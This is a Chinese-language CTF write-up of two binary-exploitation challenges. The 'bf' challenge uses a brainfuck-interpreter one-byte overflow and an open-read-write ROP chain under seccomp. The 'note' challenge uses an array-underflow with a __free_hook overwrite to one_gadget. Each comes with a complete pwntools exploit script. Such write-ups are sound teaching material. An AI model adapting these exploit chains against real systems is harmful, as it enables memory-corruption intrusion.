bf

1 程序分析

题目是一个brainfuck的解释器,给的libc是2.27。brainfuck是一种简单的、可以用最小的编译器来实现的、符合图灵完全思想的编程语言。这种语言由八种运算符构成,除了指令还包括:一个以字节为单位、被初始化为零的数组一个指向该数组的指针(初始时指向数组的第一个字节)、以及用于输入输出的两个字节流

字符 含义
> 指针加一
< 指针减一
+ 指针指向的字节的值加一
- 指针指向的字节的值减一
. 输出指针指向的单元内容(ASCII码)
, 输入内容到指针指向的单元(ASCII码)
[ 如果指针指向的单元值为零,向后跳转到对应的]指令的次一指令处
] 如果指针指向的单元值不为零,向前跳转到对应的[指令的次一指令处

题目逻辑是输入一段brainfuck代码,首先检查代码的语法正确与否,并在遇到[]的时候分配堆空间保存其位置信息。

image-20200601105534328

然后程序开始解释执行brainfuck代码。发现漏洞点在于,解释>时,检查的是v21 > &str

image-20200601104010563

这里 v21指向数组的指针str是指向输入的brainfuck代码,是C++的string类,stack 被初始化为零的数组,位于栈上大小为0x400。查看栈变量可以看到, &str就在 &stack的后面。检查的是v21 > &str,说明 v21可以和 &str相等,也就是说能够溢出一字节到 str,控制一字节代码的位置。

image-20200601105453482

验证一下,输入'>'*0x400+'.’,果然能够输出 str的最低一字节。

image-20200601113043518

这里还有一个点,是string的混合内存优化策略:如果输入的代码长度小于等于15,那么string 的 raw data分配是在栈上的,如果代码长度大于15,那么raw data 就会被存在堆上。

部分源码如下:

image-20200601142504239

image-20200601111607647

image-20200601111741564

2 漏洞利用

很明显在栈上构造利用链更容易,所以需要先构造一个短的、能右移0x400次的brainfuck代码,想到使用[]构造循环如下:

+[>+],

这样循环0x400次的时候,str基址会+1,就会跳过]执行,输入一个字节,这样就能控制str的最后一个字节了。接下来就可以很容易地通过控制这一字节泄露libc、修改返回地址。这里本来想直接修改返回地址到shell,但是程序开启了seccomp保护,限制了只能执行下面这几个函数。

image-20200601114757364

虽然无法getshell了,但是可以构造orw rop链,完整exp如下:

#libc 2.27
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
binary='./bf.dms'
elf=ELF(binary)
debug=1
if debug:
    io=process(binary)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    gadget=[0x4f2c5 ,0x4f322 ,0x10a38c,0xe569f ,0xe5858,0xe585f,0xe5863,0x10a398]
else:
    io = remote("124.156.135.103",6002)
    libc=ELF('./libc.so')
    gadget=[324293, 324386, 1090444]
s       = lambda data               :io.send(data) 
sa      = lambda data1,data         :io.sendafter(data1, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda data1,data         :io.sendlineafter(data1, data)
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda data1, drop=True  :io.recvuntil(data1, drop)
ru('enter your code:')
payload='[]'
sl(payload)
ru('want to continue?')

"""
payload="+[>+]"+',.'
payload='y'+payload
sl(payload)
ru('running....\n')
s('\xc0')
ru('done! your code: ')
stack=u64(r(6).ljust(8,b'\x00'))-0x520
print(hex(stack))
ru('want to continue?')
"""
#leak libc
payload="+[>+],."
payload='y'+payload
sl(payload)
ru('running....\n')
s('\xd8')
ru('done! your code: ')
libc.address=u64(r(6).ljust(8,b'\x00'))-0x21b97
print(hex(libc.address))
ru('want to continue?')

"""
0x00000000000439c8 : pop rax ; ret
0x000000000002155f : pop rdi ; ret
0x0000000000023e6a : pop rsi ; ret
0x0000000000001b96 : pop rdx ; ret///
0x00000000001306d9 : pop rdx ; pop rsi ; ret
"""
rax_ret=libc.address+0x00000000000439c8
rdi_ret=libc.address+0x000000000002155f
rsi_ret=libc.address+0x0000000000023e6a
rdx_rsi_ret=libc.address+0x00000000001306d9
libc_bss=libc.address+ 0x3ebb40 #_IO_stdin_2_1和malloc_hook之间 libc可写
libc_bss1=libc_bss-0x10
#orw rop
#read(fd=0,buf=libc_bss1,size=0x20)
payload=b""
payload += p64(rdi_ret) + p64(0x0)
payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss1) 
payload += p64(libc.symbols['read'])
# open(filename=libc_bss1, flags=0, mode=0)
#flag=2权限不足
payload += p64(rdi_ret) + p64(libc_bss1)
payload += p64(rdx_rsi_ret) + p64(0)+p64(0x0)
payload += p64(libc.symbols['open'])

"""
#syscall写法
payload += p64(rax_ret) + p64(0x101)
payload += p64(rdi_ret) + p64(0xffffff9c)
payload += p64(rdx_rsi_ret) + p64(2)+p64(libc_bss)
payload += p64(libc.address +0x10fd17)
"""

# read(fd=3,buf=libc_bss, size=0x20)
payload += p64(rdi_ret) + p64(0x3)
payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss) 
payload += p64(libc.symbols['read'])

# write(fd=1,buf= libc_bss, size=0x20)
payload += p64(rdi_ret) + p64(0x1)
payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss)
payload += p64(libc.symbols['write'])
payload +=b"\x00\x00\x00+[>+],."#将str改回原值,否则报错
payload=b'y'+payload
sl(payload)
ru('running....\n')
s('\xa0\xa0')
ru('want to continue?')
sl('n/flag\x00')

io.interactive()

本地是关了aslr调的,跑远程还得爆破一下,拿到flag。

image-20200601120025326

note

1 程序分析

常规堆题,由于编译优化,反汇编的结果比较混乱。看汇编代码可以看到下面有switch逻辑,共7个选项。

image-20200601121824721

目录里却说只有五个。

image-20200601124329888

伪代码里则完全没体现出来switch的逻辑。

image-20200601121852523

所以被隐藏的两个功能很可能有漏洞,这里发现fun7可以在数组中写addr和size,并且size大小是size+0x20。配合edit功能就可以向addr里写0x20+字节。

image-20200601131029208

结构体信息如下:

00000000 info            struc ; (sizeof=0x18, mappedto_6)
00000000 addr            dq ?
00000008 size            dq ?
00000010 price           dq ?
00000018 info            ends

bss内存结构如下:

image-20200601125801211

此外所有功能都有数组越界问题,只检查上界不检查下界,v1可以是负数。

image-20200601122505153

image-20200601122529784

2 漏洞利用

利用数组越界漏洞,泄露stdout的内容,得到libc基址,再使用fun7在bss段上设置addr和size,将addr设置为free_hook,通过edit将free_hook改为onegadget即可得到shell。

from pwn import*
#libc 2.29
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

binary='./note.dms'
elf=ELF(binary)
debug=1
if debug:
    io=process(binary)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    gadget=[945043, 945046 ,945049 ,1093545]

else:
    io = remote("124.156.135.103",6004)
    libc=ELF('./libc.so.6')
    gadget=[926591, 926595 ,926598 ,1076984]


s       = lambda data               :io.send(data) 
sa      = lambda data1,data         :io.sendafter(data1, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda data1,data         :io.sendlineafter(data1, data)
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda data1, drop=True  :io.recvuntil(data1, drop)
def new(idx,size):
    ru('Choice: ')
    sl('1')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))

def sell(idx):
    ru('Choice: ')
    sl('2')
    ru('Index: ')
    sl(str(idx))

def show(idx):
    ru('Choice: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))

def edit(idx,mess):
    ru('Choice: ')
    sl('4')
    ru('Index: ')#(idx 12)
    sl(str(idx))
    ru('Message: ')
    s(mess)
def fun7(idx,mess):
    ru('Choice: ')
    sl('7')
    ru('Index: ')#(idx 12)
    sl(str(idx))
    ru('Message: ')
    s(mess)
def fun6(supe):
    ru('Choice: ')
    sl('6')
    ru('Give a super name: \n')
    sl(supe)
show(-5)
bss=u64(r(8))+0x78
print(hex(bss))
r(16)
libc.address=u64(r(8))-libc.symbols['_IO_2_1_stdout_']

print(hex(libc.address))
fun7(-5,p64(libc.symbols['__free_hook'])+p64(0x8)+p64(1))
edit(-5,p64(libc.address+gadget[3]))
sell(0)
#gdb.attach(io)
io.interactive()

成功拿到shell。

image-20200601124618932